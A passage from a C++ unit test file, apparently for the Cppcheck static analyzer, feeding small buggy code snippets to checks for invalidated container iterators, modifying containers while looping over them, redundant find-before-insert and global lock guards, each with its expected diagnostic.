v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = 